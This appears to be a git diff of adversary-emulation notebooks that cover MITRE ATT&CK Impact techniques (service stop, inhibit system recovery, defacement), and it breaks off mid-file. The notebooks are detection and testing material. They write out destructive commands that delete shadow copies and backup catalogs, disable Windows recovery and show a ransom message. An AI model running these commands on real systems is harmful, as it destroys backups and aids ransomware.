record and the disk partition table. Monitor for unusual kernel driver installation activity." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/impact/T1488.ipynb b/playbook/tactics/impact/T1488.ipynb deleted file mode 100644 index 125aa8f9..00000000 --- a/playbook/tactics/impact/T1488.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "5c0b9135", - "metadata": {}, - "source": "# T1488 - Disk Content Wipe\nAdversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Novetta Blockbuster Destructive Malware)" - }, - { - "cell_type": "markdown", - "id": "ef217467", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "e655137e", - "metadata": {}, - "source": "## Detection\nLook for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for unusual kernel driver installation activity." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/impact/T1489.ipynb b/playbook/tactics/impact/T1489.ipynb index 33e63502..0acda944 100644 --- a/playbook/tactics/impact/T1489.ipynb +++ b/playbook/tactics/impact/T1489.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "624ae15e", + "id": "cd17689d", "metadata": {}, "source": "# T1489 - Service Stop\nAdversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)" }, { "cell_type": "markdown", - "id": "8bd7d29f", + "id": "24be2926", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "32395c6e", + "id": "42441b1f", "metadata": {}, "source": [ "### Atomic Test #1 - Windows - Stop service using Service Controller", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "81b9a438", + "id": "70904a3e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1489 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "c1524733", + "id": "c765a9cb", "metadata": {}, "source": "#### Cleanup: \n```cmd\nsc.exe start spooler >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7cfb4b46", + "id": "3c2317b4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1489 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "414850f5", + "id": "69f3a75a", "metadata": {}, "source": [ "### Atomic Test #2 - Windows - Stop service using net.exe", @@ -63,28 +63,28 @@ { "cell_type": "code", "execution_count": null, - "id": "54caa26a", + "id": "421a102b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1489 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "7a0e3c33", + "id": "25108f85", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnet.exe start spooler >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4b7901c4", + "id": "4b0eb60f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1489 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "60dd7232", + "id": "db725485", "metadata": {}, "source": [ "### Atomic Test #3 - Windows - Stop service by killing process", @@ -97,20 +97,20 @@ { "cell_type": "code", "execution_count": null, - "id": "0801e955", + "id": "618f2d51", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1489 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "5e0148bf", + "id": "42df2212", "metadata": {}, "source": "## Detection\nMonitor processes and command-line arguments to see if critical processes are terminated or stop running.\n\nMonitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links.\n\nAlterations to the service binary path or the service startup type changed to disabled may be suspicious.\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)" }, { "cell_type": "markdown", - "id": "bef42c13", + "id": "76646e30", "metadata": {}, "source": "\n## Shield Active Defense\n### Behavioral Analytics \n Deploy tools that detect unusual system or user behavior.\n \n\n Instrument a system to collect detailed information about process execution and user activity, develop a sense of normal or expected behaviors, and alert on abnormal or unexpected activity. This can be accomplished either onboard the target system or by shipping data to a centralized analysis and alerting system.\n#### Opportunity\nThere is an opportunity to detect the presence of an adversary by identifying and alerting on anomalous behaviors.\n#### Use Case\nBy looking for anomalies in system service states and alerting on suspect situations, the defender can detect potential malicious activity and triage the system to re-enable the services that have been stopped.\n#### Procedures\nUse behavioral analytics to detect Living Off The Land Binaries (LOLBins) being used to download and execute a file.\nUse behavioral analytics to identify a system running development tools, but is not used by someone who does development.\nUse behavioral analytics to identify abnormal system processes being used to launch a different process.\n" } @@ -118,13 +118,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1490.ipynb b/playbook/tactics/impact/T1490.ipynb index e395ee53..4aa896e0 100644 --- a/playbook/tactics/impact/T1490.ipynb +++ b/playbook/tactics/impact/T1490.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "49e8b23b", + "id": "3f017a27", "metadata": {}, - "source": "# T1490 - Inhibit System Recovery\nAdversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.\n\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete\n* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\n* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no" + "source": "# T1490 - Inhibit System Recovery\nAdversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.\n\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete\n* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\n* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no\n* REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system\n\nOn network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.\n\nAdversaries may also delete \u201conline\u201d backups that are connected to their network \u2013 whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)" }, { "cell_type": "markdown", - "id": "545774a1", + "id": "93a6247c", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "4f997e93", + "id": "d06e0fb9", "metadata": {}, "source": "### Atomic Test #1 - Windows - Delete Volume Shadow Copies\nDeletes Windows Volume Shadow Copies. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon\nexecution, if no shadow volumes exist the message \"No items found that satisfy the query.\" will be displayed. If shadow volumes are present, it\nwill delete them without printing output to the screen. This is because the /quiet parameter was passed which also suppresses the y/n\nconfirmation prompt. Shadow copies can only be created on Windows server or Windows 8.\n\nhttps://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc788055(v=ws.11)\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Create volume shadow copy of C:\\ . This prereq command only works on Windows Server or Windows 8.\n\n##### Check Prereq Commands:\n```cmd\nif(!(vssadmin.exe list shadows | findstr \"No items found that satisfy the query.\")) { exit 0 } else { exit 1 }\n\n```\n##### Get Prereq Commands:\n```cmd\nvssadmin.exe create shadow /for=c:\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "65a78838", + "id": "9e97c24a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1490 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "fb3bd7b4", + "id": "fa5dfeed", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -38,14 +38,14 @@ { "cell_type": "code", "execution_count": null, - "id": "b7ea5d54", + "id": "f9cad669", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1490 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "d5876f55", + "id": "c280fcad", "metadata": {}, "source": [ "### Atomic Test #2 - Windows - Delete Volume Shadow Copies via WMI", @@ -59,14 +59,14 @@ { "cell_type": "code", "execution_count": null, - "id": "4b49aa71", + "id": "7205aeb1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1490 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "7f029725", + "id": "ca8e17b7", "metadata": {}, "source": [ "### Atomic Test #3 - Windows - wbadmin Delete Windows Backup Catalog", @@ -80,14 +80,14 @@ { "cell_type": "code", "execution_count": null, - "id": "78555e6d", + "id": "87272f86", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1490 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "ec9a4f42", + "id": "a3ac3041", "metadata": {}, "source": [ "### Atomic Test #4 - Windows - Disable Windows Recovery Console Repair", @@ -101,28 +101,28 @@ { "cell_type": "code", "execution_count": null, - "id": "043dc728", + "id": "51e9d22e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1490 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "c4729241", + "id": "99acc857", "metadata": {}, "source": "#### Cleanup: \n```cmd\nbcdedit.exe /set {default} bootstatuspolicy DisplayAllFailures >nul 2>&1\nbcdedit.exe /set {default} recoveryenabled yes >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c2bbe143", + "id": "0c65121a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1490 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "5d4556aa", + "id": "9509492e", "metadata": {}, "source": [ "### Atomic Test #5 - Windows - Delete Volume Shadow Copies via WMI with PowerShell", @@ -136,14 +136,14 @@ { "cell_type": "code", "execution_count": null, - "id": "9409e4ac", + "id": "0e30eafc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1490 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "63b9dad3", + "id": "b3c7e338", "metadata": {}, "source": [ "### Atomic Test #6 - Windows - Delete Backup Files", @@ -157,14 +157,14 @@ { "cell_type": "code", "execution_count": null, - "id": "e187d65d", + "id": "a48316a6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1490 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "690e8c69", + "id": "6763473b", "metadata": {}, "source": [ "### Atomic Test #7 - Windows - wbadmin Delete systemstatebackup", @@ -178,14 +178,14 @@ { "cell_type": "code", "execution_count": null, - "id": "32b153d2", + "id": "aab49c72", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1490 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "f4453dd9", + "id": "5e4511c6", "metadata": {}, "source": [ "### Atomic Test #8 - Windows - Disable the SR scheduled task", @@ -199,28 +199,28 @@ { "cell_type": "code", "execution_count": null, - "id": "12ce486e", + "id": "0d2b03da", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1490 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "dc13227d", + "id": "bd19101c", "metadata": {}, "source": "#### Cleanup: \n```cmd\nschtasks.exe /Change /TN \"\\Microsoft\\Windows\\SystemRestore\\SR\" /enable >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1aa394b4", + "id": "203a49b5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1490 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "f087def5", + "id": "d24f6f8e", "metadata": {}, "source": [ "### Atomic Test #9 - Disable System Restore Through Registry", @@ -234,34 +234,55 @@ { "cell_type": "code", "execution_count": null, - "id": "70c3d8f6", + "id": "8fe99fbf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1490 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "67d75dba", + "id": "89277803", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\SystemRestore\" /v \"DisableConfig\" /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\SystemRestore\" /v \"DisableSR\" /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SystemRestore\" /v \"DisableConfig\" /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SystemRestore\" /v \"DisableSR\" /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0335d851", + "id": "28eb6856", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1490 -TestNumbers 9 -Cleanup" }, { "cell_type": "markdown", - "id": "9a8e8a93", + "id": "23db911c", "metadata": {}, - "source": "## Detection\nUse process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, and bcdedit. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.\n\nMonitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\PreviousVersions\\DisableLocalPage)." + "source": [ + "### Atomic Test #10 - Windows - vssadmin Resize Shadowstorage Volume", + "Adversaries generally try to Resize Shadowstorage Volume using vssadmin.exe to avoid the shadow volumes being made again. This technique is typically found used by adversaries during a ransomware event and a precursor to deleting the shadowstorage.", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nvssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "0102d8e9", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1490 -TestNumbers 10" + }, + { + "cell_type": "markdown", + "id": "f76ed86b", + "metadata": {}, + "source": "## Detection\nUse process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, bcdedit and REAgentC. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.\n\nMonitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\PreviousVersions\\DisableLocalPage).\n\nFor network infrastructure devices, collect AAA logging to monitor for `erase`, `format`, and `reload` commands being run in succession." }, { "cell_type": "markdown", - "id": "25ae7e74", + "id": "9fdda22e", "metadata": {}, "source": "\n## Shield Active Defense\n### System Activity Monitoring \n Collect system activity logs which can reveal adversary activity. \n\n Capturing system logs can show logins, user and system events, etc. Collecting this data and potentially sending it to a centralized location can help reveal the presence of an adversary and the actions they perform on a compromised system.\n#### Opportunity\nThere is an opportunity to create a detection with a moderately high probability of success.\n#### Use Case\nA defender can use process monitoring to look for command execution and command line parameters commonly used to inhibit system recovery.\n#### Procedures\nEnsure that systems capture and retain common system level activity artifacts that might be produced.\nMonitor Windows systems for event codes that reflect an adversary changing passwords, adding accounts to groups, etc.\n" } @@ -269,13 +290,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1491.001.ipynb b/playbook/tactics/impact/T1491.001.ipynb index 7fd4b9e1..7480ad1b 100644 --- a/playbook/tactics/impact/T1491.001.ipynb +++ b/playbook/tactics/impact/T1491.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "452a8a83", + "id": "38900145", "metadata": {}, "source": "# T1491.001 - Internal Defacement\nAn adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)" }, { "cell_type": "markdown", - "id": "a41cbcdc", + "id": "f97f7b3a", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "95f0bc61", + "id": "d7a2040b", "metadata": {}, "source": [ "### Atomic Test #1 - Replace Desktop Wallpaper", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "dc6cb678", + "id": "8bbd6110", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1491.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "3d4f3a22", + "id": "7664f36a", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$updateWallpapercode = @' \nusing System.Runtime.InteropServices; \nnamespace Win32{\n\n public class Wallpaper{ \n [DllImport(\"user32.dll\", CharSet=CharSet.Auto)] \n static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; \n \n public static void SetWallpaper(string thePath){ \n SystemParametersInfo(20,0,thePath,3); \n }\n }\n} \n'@\nif (Test-Path -Path $env:TEMP\\T1491.001-OrginalWallpaperLocation -PathType Leaf) {\n $orgImg = Get-Content -Path \"$env:TEMP\\T1491.001-OrginalWallpaperLocation\"\n add-type $updateWallpapercode \n [Win32.Wallpaper]::SetWallpaper($orgImg)\n}\nRemove-Item \"$env:TEMP\\T1491.001-OrginalWallpaperLocation\" -ErrorAction Ignore\nRemove-Item \"$env:TEMP\\T1491.001-newWallpaper.png\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3855554c", + "id": "5ce724e3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1491.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "939625c2", + "id": "7d12f429", "metadata": {}, "source": [ "### Atomic Test #2 - Configure LegalNoticeCaption and LegalNoticeText registry keys to display ransom message", @@ -62,28 +62,28 @@ { "cell_type": "code", "execution_count": null, - "id": "3d508886", + "id": "f56a43f6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1491.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "8ca07bb1", + "id": "c9408418", "metadata": {}, "source": "#### Cleanup: \n```powershell\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name LegalNoticeCaption -Value $orgLegalNoticeCaption -Type String -Force\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name LegalNoticeText -Value $orgLegalNoticeText -Type String -Force\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a6a0ba89", + "id": "cff714ef", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1491.001 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "a1c64a1a", + "id": "e1d3bdbc", "metadata": {}, "source": "## Detection\nMonitor internal and websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation." } @@ -91,13 +91,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1491.002.ipynb b/playbook/tactics/impact/T1491.002.ipynb index ca646376..a5fcc5f0 100644 --- a/playbook/tactics/impact/T1491.002.ipynb +++ b/playbook/tactics/impact/T1491.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "724d0ff6", + "id": "c3c9ab20", "metadata": {}, "source": "# T1491.002 - External Defacement\nAn adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system\u2019s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)" }, { "cell_type": "markdown", - "id": "ac4e0042", + "id": "3e67b67e", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "ae21cb84", + "id": "5d189e5c", "metadata": {}, "source": "## Detection\nMonitor external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1491.ipynb b/playbook/tactics/impact/T1491.ipynb index ca602411..4975b5ff 100644 --- a/playbook/tactics/impact/T1491.ipynb +++ b/playbook/tactics/impact/T1491.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "9c898682", + "id": "03b767c1", "metadata": {}, "source": "# T1491 - Defacement\nAdversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. \n" }, { "cell_type": "markdown", - "id": "3ecfb3e2", + "id": "f24251d6", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "f14c86d5", + "id": "4c88db7a", "metadata": {}, "source": "## Detection\nMonitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\n\n" }, { "cell_type": "markdown", - "id": "1b8af70a", + "id": "29a98c7c", "metadata": {}, "source": "\n## Shield Active Defense\n### System Activity Monitoring \n Collect system activity logs which can reveal adversary activity. \n\n Capturing system logs can show logins, user and system events, etc. Collecting this data and potentially sending it to a centralized location can help reveal the presence of an adversary and the actions they perform on a compromised system.\n#### Opportunity\nThere is an opportunity to detect an adversary who modifies website content (internally or externally) by monitoring for unauthorized changes to websites.\n#### Use Case\nA defender can monitor websites for unplanned content changes and generate alerts when activity is detected.\n#### Procedures\nEnsure that systems capture and retain common system level activity artifacts that might be produced.\nMonitor Windows systems for event codes that reflect an adversary changing passwords, adding accounts to groups, etc.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1492.ipynb b/playbook/tactics/impact/T1492.ipynb deleted file mode 100644 index e797bd2e..00000000 --- a/playbook/tactics/impact/T1492.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "4239416c", - "metadata": {}, - "source": "# T1492 - Stored Data Manipulation\nAdversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact." - }, - { - "cell_type": "markdown", - "id": "3508038b", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "03173e11", - "metadata": {}, - "source": "## Detection\nWhere applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": 